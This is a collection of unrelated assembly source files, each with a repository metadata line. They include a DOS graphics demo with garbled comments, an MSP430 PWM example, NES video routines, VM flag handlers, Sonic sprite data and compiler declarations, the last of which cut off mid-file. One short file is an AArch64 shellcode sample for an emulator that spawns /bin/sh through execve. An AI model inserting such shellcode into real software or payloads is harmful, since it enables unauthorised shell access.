or CH,00000001b ;£à ¨æ £®à¨§®â «ì ï ("1" ¢ ¬«.¡¨â ä« £ á®á¥¤¥©)
;--¯à®¢¥àª á¯à ¢
Metka2:
push BX
add BX,DI ;è £ ¢¯à ¢®
cmp ES:[BX],AH ;á¯à ¢ £à ¨æ ?
pop BX
jnz Metka3 ;¥á«¨ ¤
or CH,00000010b ;£à ¨æ ¢¥à⨪ «ì ï ("1" ¢® ¢â®à®¬ ¡¨â¥ ä« £ á®á¥¤¥©)
;--¯à®¢¥àª á«¥¢
Metka3:
push BX
sub BX,DI ;è £ ¢«¥¢®
cmp ES:[BX],AH ;á«¥¢ £à ¨æ ?
pop BX
jnz Metka4 ;¥á«¨ ¤
or CH,00000010b ;£à ¨æ ¢¥à⨪ «ì ï ("1" ¢® ¢â®à®¬ ¡¨â¥ ä« £ á®á¥¤¥©)
;¨¢¥àá¨ï ¯à¢ «¥¨©
Metka4:
neg SI ;¯à¥¤¯®« £ ¥¬, çâ® ä« £ á®á¥¤¥© "00" ¨«¨ "11" (¢ëáâ㯠¨«¨ 㣮«)
neg DI
cmp CH,00000000b ;¥á«¨ ¢ëáâ㯠("00")
jz Cont ; ¯à ¢«¥¨ï ®áâ ãâáï ¨¢¥àâ¨à®¢ 묨, ¯à®¤®«¦¥¨¥
cmp CH,00000011b ;¥á«¨ 㣮« ("11")
jz Cont ; ¯à ¢«¥¨ï ®áâ ãâáï ¨¢¥àâ¨à®¢ 묨, ¯à®¤®«¦¥¨¥
cmp CH,00000001b ;¥á«¨ £à ¨æ £®à¨§®â «ì ï ("01")
jnz Metka5 ;
neg DI ;¤«ï ®â᪮ª ®â £®à¨§®â «¨ è £ dX ¥ ¬¥ï¥âáï
;( ® ¯à®¨¢¥àâ¨à®¢ , ¯®í⮬㠨¢¥àâ¨à㥬 dX ®¡à â®)
Metka5:
cmp CH,00000010b ;¥á«¨ £à ¨æ ¢¥à⨪ «ì ï ("10")
jnz Cont
neg SI ;¤«ï ®â᪮ª ®â ¢¥à⨪ «¨ è £ dY ¥ ¬¥ï¥âáï
;( ® ¯à®¨¢¥àâ¨à®¢ , ¯®í⮬㠨¢¥àâ¨à㥬 dY ®¡à â®)
;¤¢¨¦¥¨¥
Cont:
add BX,SI ;¯¥à¥áç¥â ¤à¥á ( ¤à¥á = ¤à¥á + dY + dX )
add BX,DI
jmp Begin
Stop:
mov AH,1 ;¯ ã§
int 21h
mov AH,4Ch ;á⮯
int 21h
;== ®¤¯à®£à ¬¬ § ¤¥à¦ª¨ (¢¥«¨ç¨ã § ¤¥à¦ª¨ ¯®¤®¡à âì ®¯ëâë¬ ¯ã⥬!)
Delay:
push CX
mov CX,5000 ;¢¥è¨© áç¥â稪 (¯®¤®¡à âì!)
Delay1:
push CX ;¢¥è¨© áç¥â稪 ¢ á⥪
mov CX,0FFFFh ;¢ãâ२© áç¥â稪 -¬ ªá¨¬ «ì® ¢®§¬®¦ë© (65535 à §)
Delay2:
dec CX
jnz Delay2 ;¢ãâ२© 横« (§ ¤¥à¦ª )
pop CX ;¢®ááâ ®¢¨âì ¢¥è¨© áç¥â稪
dec CX
jnz Delay1 ;¢¥è¨© 横«
pop CX
ret
Ek db "################################################ ",13,10
db "## ## ",13,10
db "## ## ",13,10
db "## ## ",13,10
db "###### ## ",13,10
db " ## ## ",13,10
db " ## ################",13,10
db " ## ##",13,10
db " ## ##",13,10
db " ## ##",13,10
db " ## ##",13,10
db " ## ##",13,10
db " ## ################ ##",13,10
db " ## ## ## ##",13,10
db " ## ## ## ##",13,10
db " ## ## ## ##",13,10
db " ###################### ########################",'$'
;¢¥àâ.á⥪¨ ¯® 2 ᨬ¢®« , çâ®¡ë ¯à¨ è £¥ 2 ç «ì®¥ ¬®£«® ¡ëâì «î¡ë¬
end START
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
| ivan-uskov/micro-controllers | assembler/#tae/primer2.asm | Assembly | mit | 5,451 |
; --COPYRIGHT--,BSD_EX
; Copyright (c) 2012, Texas Instruments Incorporated
; All rights reserved.
;
; Redistribution and use in source and binary forms, with or without
; modification, are permitted provided that the following conditions
; are met:
;
; * Redistributions of source code must retain the above copyright
; notice, this list of conditions and the following disclaimer.
;
; * Redistributions in binary form must reproduce the above copyright
; notice, this list of conditions and the following disclaimer in the
; documentation and/or other materials provided with the distribution.
;
; * Neither the name of Texas Instruments Incorporated nor the names of
; its contributors may be used to endorse or promote products derived
; from this software without specific prior written permission.
;
; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
; AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,
; THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
; PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
; CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
; EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
; PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS;
; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
; WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
; OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,
; EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
;
; ******************************************************************************
;
; MSP430 CODE EXAMPLE DISCLAIMER
;
; MSP430 code examples are self-contained low-level programs that typically
; demonstrate a single peripheral function or device feature in a highly
; concise manner. For this the code may rely on the device's power-on default
; register values and settings such as the clock configuration and care must
; be taken when combining code from several examples to avoid potential side
; effects. Also see www.ti.com/grace for a GUI- and www.ti.com/msp430ware
; for an API functional library-approach to peripheral configuration.
;
; --/COPYRIGHT--
;*******************************************************************************
; MSP430G2xx3 Demo - Timer_A, PWM TA1-2, Up/Down Mode, 32kHz ACLK
;
; Description: This program generates one PWM output on P1.2 using
; Timer_A configured for up/down mode. The value in CCR0, 128, defines
; the PWM period/2 and the value in CCR1 the PWM duty cycle.
; Using 32kHz ACLK as TACLK, the timer period is 7.8ms with a 75% duty
; cycle on P1.2. Normal operating mode is LPM3.
; ACLK = TACLK = LFXT1 = 32768Hz, MCLK = default DCO.
; //* External watch crystal on XIN XOUT is required for ACLK *//
;
; MSP430G2xx3
; -----------------
; /|\| XIN|-
; | | | 32kHz
; --|RST XOUT|-
; | |
; | P1.2/TA1|--> CCR1 - 75% PWM
;
; D. Dang
; Texas Instruments Inc.
; December 2010
; Built with Code Composer Essentials Version: 4.2.0
;*******************************************************************************
.cdecls C,LIST, "msp430.h"
;------------------------------------------------------------------------------
.text ; Progam Start
;------------------------------------------------------------------------------
RESET mov.w #0280h,SP ; Initialize stackpointer
StopWDT mov.w #WDTPW+WDTHOLD,&WDTCTL ; Stop WDT
SetupP1 bis.b #00Ch,&P1DIR ; P1.2 and P1.3 output
bis.b #00Ch,&P1SEL ; P1.2 and P1.3 TA1/2 otions
SetupC0 mov.w #128,&CCR0 ; PWM Period/2
SetupC1 mov.w #OUTMOD_6,&CCTL1 ; CCR1 toggle/set
mov.w #32,&CCR1 ; CCR1 PWM Duty Cycle
SetupTA mov.w #TASSEL_1+MC_3,&TACTL ; ACLK, updown mode
;
Mainloop bis.w #LPM3,SR ; Enter LPM3
nop ; Required only for debugger
;
;------------------------------------------------------------------------------
; Interrupt Vectors
;------------------------------------------------------------------------------
.sect ".reset" ; MSP430 RESET Vector
.short RESET ;
.end
| ckemere/ELEC327 | MSP430G2xx3_Code_Examples/Assembly_CCS/msp430g2xx3_ta_20.asm | Assembly | mit | 4,785 |
; nes video.asm
.export _PrintColorSet
.export _ClearScreen
.export _PrintText
.export _DrawImage
.autoimport on
.importzp sp, sreg, regsave, regbank
.importzp tmp1, tmp2, tmp3, tmp4, ptr1, ptr2, ptr3, ptr4
.macpack longbranch
.include "nes.asm"
.segment "ZEROPAGE"
ImageWidth:
.res 1
ImageHeight:
.res 1
_PrintColorSet:
.res 1
.segment "BSS"
.segment "CODE"
; _PrintText
; Prints text string to an X,Y coordinate on the screen.
;
; inputs:
; - text: (sp[2],sp[1]), Pointer to text string.
; - x: sp[0], X position to write string.
; - y: a, Y position to write string.
_PrintText:
sta tmp2 ; y
ldy #0 ; x
lda (sp),y
sta tmp1
ldx tmp2
lda ScreenLineOffsetTableHi,x
sta ptr2+1
lda ScreenLineOffsetTableLo,x
sta ptr2
; A = ptr2
clc
adc tmp1 ; x
sta ptr2
bcc @endAddXOffsetToCharVram
lda #0
adc ptr2+1
sta ptr2+1
@endAddXOffsetToCharVram:
lda PPU_STATUS
@setVramAddress:
lda ptr2+1
sta PPU_VRAM_ADDR2
lda ptr2
sta PPU_VRAM_ADDR2
clc ; (ptr+1,ptr)=&text
lda #0
ldy #1
adc (sp),y
sta ptr1
lda #0
iny
adc (sp),y
sta ptr1+1
ldy #$ff
@printTextLoop:
iny
lda (ptr1),y ; PPU_VRAM_IO=a=text[++y]
beq @endPrintTextLoop
sta PPU_VRAM_IO
bne @printTextLoop
@endPrintTextLoop:
dey
sty tmp3 ; index for loop.
ldy tmp1 ; x
ldx tmp2 ; y
@printColorLoop:
jsr SetCharacterAttribute
iny
dec tmp3
bne @printColorLoop
; A = 0
sta PPU_VRAM_ADDR2
sta PPU_VRAM_ADDR2
sta PPU_VRAM_ADDR1
sta PPU_VRAM_ADDR1
jmp incsp3
; SetCharacterAttribute
; Sets the corresponding attribute table half-nibble to _PrintColorSet.
;
; inputs:
; - x: y, x coordinate.
; - y: x, y coordinate.
;
; modifies:
; - AttributePointer: address to attribute byte to modify.
; - AttributeQuadrantNumber: which of the 4 attribute quadrants to modify.
; - AttributeTemp: temporary variable for SetCharacterAttribute.
;
; preserves:
; - a
; - x
; - y
.segment "ZEROPAGE"
AttributePointer:
.res 2
AttributeQuadrantNumber:
.res 1
AttributeTemp:
.res 1
.segment "CODE"
SetCharacterAttribute:
pha
txa
pha
tya
pha
; Note that the high value on a standard NES will not change.
lda #>(PPU_ATTRIBUTE_TABLE_0)
sta AttributePointer+1
lda ScreenColorLineOffsetTableLo,x
sta AttributePointer
tya ; x /= 4
lsr
lsr
clc
adc AttributePointer
sta AttributePointer
@endAddXOffsetToColorVram:
@getQuadrantNumber:
; Calculate attribute byte quadrant number.
lda #0
sta AttributeQuadrantNumber
@getAttributeRow:
inx ; NOTE: First line compensation. Also, X is modified here!
txa ; y % 4
and #%11
cmp #2
bcc @getAttributeColumn
inc AttributeQuadrantNumber
inc AttributeQuadrantNumber
@getAttributeColumn:
tya ; x % 4
and #%11
cmp #2
bcc @endGetQuadrantNumber
inc AttributeQuadrantNumber
@endGetQuadrantNumber:
lda PPU_STATUS
lda AttributePointer+1
sta PPU_VRAM_ADDR2
lda AttributePointer
sta PPU_VRAM_ADDR2
; Get existing attribute.
lda PPU_VRAM_IO
ldy #0
sty AttributeTemp
ldx AttributeQuadrantNumber
beq @endShiftDownAttributesLoop
clc
@shiftDownAttributesLoop:
ror
ror AttributeTemp
ror
ror AttributeTemp
dex
bne @shiftDownAttributesLoop
@endShiftDownAttributesLoop:
and #%11111100
ora _PrintColorSet
ldx AttributeQuadrantNumber
beq @endShiftUpAttributesLoop
;clc ; NOTE: Technially, no C clear needed.
@shiftUpAttributesLoop:
rol AttributeTemp
rol
rol AttributeTemp
rol
dex
bne @shiftUpAttributesLoop
@endShiftUpAttributesLoop:
ldx PPU_STATUS
ldx AttributePointer+1
stx PPU_VRAM_ADDR2
ldx AttributePointer
stx PPU_VRAM_ADDR2
sta PPU_VRAM_IO
pla
tay
pla
tax
pla
rts
; _DrawImage
; Prints text string to an X,Y coordinate on the screen.
;
; inputs:
; - image: (sp[2],sp[1]), Pointer to an image map.
; - x: sp[0], X position to draw image (uppler left corner).
; - y: a, Y position to draw image (uppler left corner)
_DrawImage:
sta tmp2 ; y
clc ; (ptr+1,ptr)=&image
lda #0
ldy #1
adc (sp),y
sta ptr1
lda #0
iny
adc (sp),y
sta ptr1+1
; Retrieve image dimensions.
ldy #0
lda (ptr1),y
sta ImageWidth
iny
lda (ptr1),y
sta ImageHeight
; Move ptr1 beyond header.
clc
lda ptr1
adc #2
sta ptr1
lda #0
adc ptr1+1
sta ptr1+1
; Set up base target VRAM address.
ldx tmp2 ; y
lda ScreenLineOffsetTableHi,x
sta ptr2+1
lda ScreenLineOffsetTableLo,x
sta ptr2
; Add x offset to screen start address.
ldy #0 ; x
lda (sp),y
sta tmp1
clc
adc ptr2
sta ptr2
bcc @endBaseVramAddress
lda #0
adc ptr2+1
sta ptr2+1
@endBaseVramAddress:
lda PPU_STATUS
ldx #0
@drawImageYLoop:
lda ptr2+1
sta PPU_VRAM_ADDR2
lda ptr2
sta PPU_VRAM_ADDR2
ldy #$ff
@drawImageXLoop:
iny
cpy ImageWidth
beq @drawImageXLoopEnd
lda (ptr1),y
sta PPU_VRAM_IO
jmp @drawImageXLoop
@drawImageXLoopEnd:
sty tmp3 ; index for loop.
stx tmp4
ldy tmp1 ; x
ldx tmp2 ; y
@printColorLoop:
jsr SetCharacterAttribute
iny
dec tmp3
bne @printColorLoop
ldx tmp4
inx
cpx ImageHeight
bcs @endDrawImage
; Move ptr1 to start of next line.
clc
lda ptr1
adc ImageWidth
sta ptr1
lda #0
adc ptr1+1
sta ptr1+1
; Move ptr2 to next line.
clc
lda ptr2
adc #SCREEN_CHAR_WIDTH
sta ptr2
lda #0
adc ptr2+1
sta ptr2+1
inc tmp2 ; ++y NOTE: Modifying cached y parameter.
jmp @drawImageYLoop
@endDrawImage:
jmp incsp3
;------------------------------------------------------------------
_ClearScreen:
lda #' '
jsr FillScreen
rts
;------------------------------------------------------------------
FillScreen:
ldy #>(PPU_NAME_TABLE_0+SCREEN_CHAR_WIDTH)
sty PPU_VRAM_ADDR2
sty ptr1+1
ldy #<(PPU_NAME_TABLE_0+SCREEN_CHAR_WIDTH)
sty PPU_VRAM_ADDR2
sty ptr1
ldy #0
@vramLoopY:
ldx #0
@vramLoopX:
sta PPU_VRAM_IO
inx
cpx #SCREEN_CHAR_WIDTH
bne @vramLoopX
iny
cpy #(SCREEN_CHAR_HEIGHT-1)
bne @vramLoopY
rts
;------------------------------------------------------------------
; NOTE: This macro seems to compensate for non-visible top 1 line of name table.
.macro sloTable loOrHi, n
.local lineNumber
.if .paramcount > 1
lineNumber = n
.else
lineNumber = 0
.endif
.local address
address = (PPU_NAME_TABLE_0 + SCREEN_CHAR_WIDTH + (lineNumber * SCREEN_CHAR_WIDTH))
.if loOrHi = 0
.byte <(address)
.endif
.if loOrHi = 1
.byte >(address)
.endif
.if lineNumber < SCREEN_CHAR_HEIGHT - 1
sloTable loOrHi, (lineNumber+1) ; NOTE: Wrapping parameter in parentheses is critical (bug?).
.endif
.endmacro
;------------------------------------------------------------------
; NOTE: This macro compensates for non-visible top 1 line of name table.
; TODO: Fix this macro to produce the table below!
.macro scloTable loOrHi, n
.local lineNumber
.if .paramcount > 1
lineNumber = n
.else
lineNumber = 0
.endif
.local attributeLineWidth
attributeLineWidth = SCREEN_CHAR_WIDTH / 4
.local address
address = (PPU_ATTRIBUTE_TABLE_0 + (((lineNumber + 1) / 4) * attributeLineWidth))
.if loOrHi = 0
.byte <(address)
.endif
.if loOrHi = 1
.byte >(address)
.endif
.if lineNumber < SCREEN_CHAR_HEIGHT - 1
scloTable loOrHi, (lineNumber+1) ; NOTE: Wrapping parameter in parentheses is critical (bug?).
.endif
.endmacro
; Preprocessed table of PPU name table addresses for each start of a line.
ScreenLineOffsetTableLo:
sloTable 0
ScreenLineOffsetTableHi:
sloTable 1
; Preprocessed table of PPU attribute table addresses for each start of a line.
ScreenColorLineOffsetTableLo:
scloTable 0
; ScreenColorLineOffsetTableHi:
; scloTable 1
| puzzud/retroleague | src/nes/video.asm | Assembly | mit | 7,825 |
;;; @@@ arch:aarch64 @@@
;;; @@@ endian:little @@@
;;; @@@ syntax:intel @@@
;;;
;;; AARCH64 little endian sys_execve("/bin/sh") shellcode
;;;
;;; @_hugsy_
;;;
;;; get some space on the stack
add sp, sp, 2048
ldr x7, =0x2f62696e
str x7, [sp, -4]!
ldr x7, =0x2f2f7368
str x7, [sp, -4]!
;;; x0 = &sp
;;; x1 = x2 = 0
;;; x8 = sys_execve
mov x0, sp
eor x1, x1, x1
eor x2, x2, x2
mov x8, #221
svc 0
| hugsy/cemu | cemu/examples/aarch64_execve_bin_sh.asm | Assembly | mit | 425 |
#The Ditto Virtual Machine VPU
#=============================
#Flag register control
#x86_64 VPU FLAGS register = RSI write 0 = RAX, write 1 = RDX
#User write 0 for control transfer. Use write 1 for data.
#ZF (FLAGS bit 0 -> 1)
i_vpu_flags_zf_g: #Get zero flag.
mov rdx, rsi
and rdx, 0x1
jmp rax
i_vpu_flags_zf_1: #Set zero flag to true.
or rsi, 0x1
jmp rax
i_vpu_flags_zf_0: #Set zero flag to false.
mov rdx, 0xFFFFFFFE
and rsi, rdx
jmp rax
#OF (FLAGS bit 1 -> 2)
i_vpu_flags_of_g: #Get overflow flag.
mov rdx, rsi
and rdx, 0x2
shr rdx, 0x1
jmp rax
i_vpu_flags_of_1: #Set overflow flag to true.
or rsi, 0x2
jmp rax
i_vpu_flags_of_0: #Set overflow flag to false.
mov rdx, 0xFFFFFFFD
and rsi, rdx
jmp rax
#SD (FLAGS bit 2 -> 4)
i_vpu_flags_sd_g: #Get stack direction flag.
mov rdx, rsi
and rdx, 0x4
shr rdx, 0x2
jmp rax
i_vpu_flags_sd_1: #Set stack direction flag to true.
or rsi, 0x4
jmp rax
i_vpu_flags_sd_0: #Set stack direction flag to false.
mov rdx, 0xFFFFFFFB
and rsi, rdx
jmp rax
#GT (FLAGS bit 3 -> 8)
i_vpu_flags_gt_g: #Get greater than flag.
mov rdx, rsi
and rdx, 0x8
shr rdx, 0x3
jmp rax
i_vpu_flags_gt_1: #Set greater than flag to true.
or rsi, 0x8
jmp rax
i_vpu_flags_gt_0: #Set greater than flag to false.
mov rdx, 0xFFFFFFF7
and rsi, rdx
jmp rax
#LT (FLAGS bit 4 -> 16)
i_vpu_flags_lt_g: #Get less than flag.
mov rdx, rsi
and rdx, 0x10
shr rdx, 0x4
jmp rax
i_vpu_flags_lt_1: #Set less than flag to true.
or rsi, 0x10
jmp rax
i_vpu_flags_lt_0: #Set less than flag to false.
mov rdx, 0xFFFFFFEF
and rsi, rdx
jmp rax
#NE (FLAGS bit 5 -> 32)
i_vpu_flags_ne_g: #Get negative flag.
mov rdx, rsi
and rdx, 0x20
shr rdx, 0x5
jmp rax
i_vpu_flags_ne_1: #Set negative flag to true.
or rsi, 0x20
jmp rax
i_vpu_flags_ne_0: #Set negative flag to false.
mov rdx, 0xFFFFFFDF
and rsi, rdx
jmp rax
#CA (FLAGS bit 6 -> 64)
i_vpu_flags_ca_g: #Get carry flag.
mov rdx, rsi
and rdx, 0x40
shr rdx, 0x6
jmp rax
i_vpu_flags_ca_1: #Set carry flag to true.
or rsi, 0x40
jmp rax
i_vpu_flags_ca_0: #Set carry flag to false.
mov rdx, 0xFFFFFFBF
and rsi, rdx
jmp rax
#FLAGS bits 7 & 8 are currently not in use.
#-->Privileged mode ONLY flags...
#SI (FLAGS bit 9 -> 512)
i_vpu_flags_si_g: #Get the software interrupt enable flag.
mov rdx, rsi
and rdx, 0x200
shr rdx, 0x9
jmp rax
i_vpu_flags_si_1: #Set software interrupt enable to true.
or rsi, 0x200
jmp rax
i_vpu_flags_si_0: #Set software interrupt enable to false.
mov rdx, 0xFFFFFDFF
and rsi, rdx
jmp rax
#HI (FLAGS bit 10 -> 1024)
i_vpu_flags_hi_g: #Get the hardware interrupt enable flag.
mov rdx, rsi
and rdx, 0x400
shr rdx, 0xA
jmp rax
i_vpu_flags_hi_1: #Set hardware interrupt enable to true.
or rsi, 0x400
jmp rax
i_vpu_flags_hi_0: #Set hardware interrupt enable to false.
mov rdx, 0xFFFFFBFF
and rsi, rdx
jmp rax
#PE (FLAGS bit 11 -> 2048)
i_vpu_flags_pe_g: #Get the paging enabled flag.
mov rdx, rsi
and rdx, 0x800
shr rdx, 0xB
jmp rax
i_vpu_flags_pe_1:
or rsi, 0x800
jmp rax
i_vpu_flags_pe_0:
mov rdx, 0xFFFFF7FF
and rsi, rdx
jmp rax
#SE (FLAGS bit 12 -> 4096)
i_vpu_flags_se_g: #Get the segmentation enabled flag.
mov rdx, rsi
and rdx, 0x1000
shr rdx, 0xC
jmp rax
i_vpu_flags_se_1:
or rsi, 0x1000
jmp rax
i_vpu_flags_se_0:
mov rdx, 0xFFFFEFFF
and rsi, rdx
jmp rax
#PR (FLAGS bit 13 -> 8192)
i_vpu_flags_pr_g: #Get the protected mode enabled flag.
mov rdx, rsi
and rdx, 0x2000
shr rdx, 0xD
jmp rax
i_vpu_flags_pr_1:
or rsi, 0x2000
jmp rax
i_vpu_flags_pr_0:
mov rdx, 0xFFFFDFFF
and rsi, rdx
jmp rax
| ozdevguy/Ditto | VM/src/Linux/VPU/x86_64/SR/flags.asm | Assembly | apache-2.0 | 3,760 |
Map_66A52: dc.w word_66A5C-Map_66A52
dc.w word_66A6A-Map_66A52
dc.w word_66A78-Map_66A52
dc.w word_66A86-Map_66A52
dc.w word_66A94-Map_66A52
word_66A5C: dc.w 2
dc.b $F0, 6, 0, 0, $FF, $FC
dc.b 8, 4, 0, 6, $FF, $F4
word_66A6A: dc.w 2
dc.b $F0, 6, 0, 8, $FF, $FC
dc.b 8, 4, 0, 6, $FF, $F4
word_66A78: dc.w 2
dc.b $F0, $A, 0, $E, $FF, $FC
dc.b 8, 4, 0, 6, $FF, $F4
word_66A86: dc.w 2
dc.b $F0, $A, 0, $17, $FF, $FC
dc.b 8, 4, 0, 6, $FF, $F4
word_66A94: dc.w 1
dc.b $F0, 6, 0, 0, $FF, $FC
| TeamASM-Blur/Sonic-3-Blue-Balls-Edition | Working Disassembly/Levels/MHZ/Misc Object Data/Map - Knuckles Peering.asm | Assembly | apache-2.0 | 581 |
__ld:
mov rdx, rcx
__str:
mov rdx, rcx
| ozdevguy/Ditto | VM/src/Linux/VPU/x86_64/DTU/dtu.asm | Assembly | apache-2.0 | 44 |
;公共数据段
PUBLIC BUF,MOUSE_BUF
PUBLIC CUR_X, CUR_Y, PRE_X, PRE_Y
PUBLIC ON_LEFT_CLICK, ON_RIGHT_CLICK
GLOBAL SEGMENT PUBLIC
BUF DB 16384 DUP(?);8192 DUP(?) ;缓冲区
MOUSE_BUF DB 228 DUP(?)
CUR_X DW ? ;当前鼠标坐标
CUR_Y DW ?
PRE_X DW ? ;前一时刻鼠标坐标
PRE_Y DW ?
ON_LEFT_CLICK DW 0 ;鼠标左键是否按下
ON_RIGHT_CLICK DW 0
GLOBAL ENDS
END
| xohozu/aEditor | bin/src/DATA.asm | Assembly | mit | 541 |
bits 16
; glb intptr_t : int
; glb uintptr_t : unsigned
; glb intmax_t : int
; glb uintmax_t : unsigned
; glb int8_t : signed char
; glb int_least8_t : signed char
; glb int_fast8_t : signed char
; glb uint8_t : unsigned char
; glb uint_least8_t : unsigned char
; glb uint_fast8_t : unsigned char
; glb int16_t : short
; glb int_least16_t : short
; glb int_fast16_t : short
; glb uint16_t : unsigned short
; glb uint_least16_t : unsigned short
; glb uint_fast16_t : unsigned short
; glb int32_t : int
; glb int_least32_t : int
; glb int_fast32_t : int
; glb uint32_t : unsigned
; glb uint_least32_t : unsigned
; glb uint_fast32_t : unsigned
; glb imaxdiv_t : struct <something>
; glb bool_t : int
; glb pointer_t : * unsigned char
; glb funcion_t : * (
; prm <something> : * void
; ) * void
; glb manejador_t : * (void) void
; glb rti_t : * (void) void
; glb isr_t : * (void) void
; glb handler_t : * (void) void
; glb retardarThread_t : * (void) int
; glb ptrTVI_t : * * (void) void
; glb modoSO1_t : int
; glb lh_t : struct <something>
; glb address_t : struct <something>
; glb uPtrAdr_t : union <something>
; glb pid_t : int
; glb tid_t : int
; glb uid_t : int
; glb gid_t : int
; glb pindx_t : int
; glb tindx_t : int
; glb df_t : int
; glb dfs_t : int
; glb rindx_t : int
; glb inportb : (
; prm port : unsigned short
; ) unsigned char
; glb inport : (
; prm port : unsigned short
; ) unsigned short
; glb outport : (
; prm port : unsigned short
; prm val : unsigned short
; ) void
; glb outportb : (
; prm port : unsigned short
; prm val : unsigned char
; ) void
; glb inportb_r : (
; prm port : unsigned char
; ) unsigned char
; glb outportb_r : (
; prm port : unsigned char
; prm val : unsigned char
; ) void
; glb contadorTimer0 : (void) unsigned short
; glb ptrTVI : * * (void) void
; glb valorIMR : (void) unsigned short
; glb establecerIMR : (
; prm nuevoIMR : unsigned short
; ) void
; glb mask_pic1 : (
; prm irq : unsigned char
; ) void
; glb mask_pic2 : (
; prm irq : unsigned char
; ) void
; glb unmask_pic1 : (
; prm irq : unsigned char
; ) void
; glb unmask_pic2 : (
; prm irq : unsigned char
; ) void
; glb get_pic1_isr : (void) unsigned char
; glb get_pic2_isr : (void) unsigned char
; glb set_pics : (
; prm irq0 : unsigned char
; prm irq8 : unsigned char
; ) void
; glb pic_setup : (void) void
; glb enable_hwirq : (
; prm hwirq : int
; prm rti : * (void) void
; ) void
; glb _start__text : char
; glb _stop__text : char
; glb _start__rodata : char
; glb _stop__rodata : char
; glb _start__data : char
; glb _stop__data : char
; glb _start__bss : char
; glb _stop__bss : char
; glb _start_allcode__ : char
; glb _stop_allcode__ : char
; glb _start_alldata__ : char
; glb _stop_alldata__ : char
; glb mostrarSeccion : (
; prm start : unsigned
; prm stop : unsigned
; prm descripcion : * char
; ) void
; glb mostrarSecciones : (void) void
; glb modoAp_t : unsigned short
; glb tramaDWords_t : struct <something>
; glb tramaWords_t : struct <something>
; RPN'ized expression: "2 "
; Expanded expression: "2 "
; Expression value: 2
; RPN'ized expression: "2 "
; Expanded expression: "2 "
; Expression value: 2
; RPN'ized expression: "2 "
; Expanded expression: "2 "
; Expression value: 2
; RPN'ized expression: "2 "
; Expanded expression: "2 "
; Expression value: 2
; glb tramaBytes_t : struct <something>
; glb trama_t : union <something>
; RPN'ized expression: "8 "
; Expanded expression: "8 "
; Expression value: 8
; glb bloque_t : struct <something>
; glb ptrBloque_t : * struct <something>
; glb dobleEnlace_t : struct <something>
; glb c2c_t : struct <something>
; glb posicionC2c : (
; prm i : int
; prm c2c : struct <something>
; ) int
; glb eliminarC2c : (
; prm i : int
; prm c2c : struct <something>
; ) void
; glb apilarC2c : (
; prm i : int
; prm c2c : struct <something>
; ) void
; glb encolarC2c : (
; prm i : int
; prm c2c : struct <something>
; ) void
; glb desencolarC2c : (
; prm c2c : struct <something>
; ) int
; glb inicializarC2c : (
; prm c2c : * struct <something>
; prm e : * struct <something>
; prm cabecera : int
; prm compartida : int
; ) void
; glb ptrC2c_t : * struct <something>
; glb posicionPC2c : (
; prm i : int
; prm c2c : * struct <something>
; ) int
; glb eliminarPC2c : (
; prm i : int
; prm ptrC2c : * struct <something>
; ) void
; glb apilarPC2c : (
; prm i : int
; prm ptrC2c : * struct <something>
; ) void
; glb encolarPC2c : (
; prm i : int
; prm ptrC2c : * struct <something>
; ) void
; glb desencolarPC2c : (
; prm ptrC2c : * struct <something>
; ) int
; glb inicializarPC2c : (
; prm ptrC2c : * struct <something>
; prm e : * struct <something>
; prm cabecera : int
; prm compartida : int
; ) void
; glb callBack_t : * (
; prm arg : * void
; ) int
; RPN'ized expression: "10 "
; Expanded expression: "10 "
; Expression value: 10
; glb descCcb_t : struct <something>
; glb ccb_t : * struct <something>
; glb inicCcb : (
; prm ccb : * struct <something>
; prm max : unsigned short
; ) int
; glb encolarCcb : (
; prm cb : * (
; prm arg : * void
; ) int
; prm ccb : * struct <something>
; ) int
; glb desencolarCcb : (
; prm ccb : * struct <something>
; ) * (
; prm arg : * void
; ) int
; glb eliminarCcb : (
; prm cb : * (
; prm arg : * void
; ) int
; prm ccb : * struct <something>
; ) int
; glb eliminarSegCcb : (
; prm segmento : unsigned short
; prm ccb : * struct <something>
; ) int
; glb vaciarCcb : (
; prm ccb : * struct <something>
; ) int
; glb atenderCcb : (
; prm ccb : * struct <something>
; ) int
; glb estado_t : int
; glb dfa_t : struct <something>
; RPN'ized expression: "12 "
; Expanded expression: "12 "
; Expression value: 12
; RPN'ized expression: "80 "
; Expanded expression: "80 "
; Expression value: 80
; RPN'ized expression: "10 "
; Expanded expression: "10 "
; Expression value: 10
; glb descProceso_t : struct <something>
; glb descThread_t : struct <something>
; glb tipoFichero_t : int
; RPN'ized expression: "9 "
; Expanded expression: "9 "
; Expression value: 9
; glb descFichero_t : struct <something>
; glb tipoRecurso_t : int
; glb open_t : * (
; prm dfs : int
; prm modo : unsigned short
; ) int
; glb release_t : * (
; prm dfs : int
; ) int
; glb read_t : * (
; prm dfs : int
; prm dir : * unsigned char
; prm nbytes : unsigned short
; ) int
; glb aio_read_t : * (
; prm dfs : int
; prm dir : * unsigned char
; prm nbytes : unsigned short
; ) int
; glb write_t : * (
; prm dfs : int
; prm dir : * unsigned char
; prm nbytes : unsigned short
; ) int
; glb aio_write_t : * (
; prm dfs : int
; prm dir : * unsigned char
; prm nbytes : unsigned short
; ) int
; glb lseek_t : * (
; prm dfs : int
; prm pos : int
; prm whence : unsigned short
; ) int
; glb fcntl_t : * (
; prm dfs : int
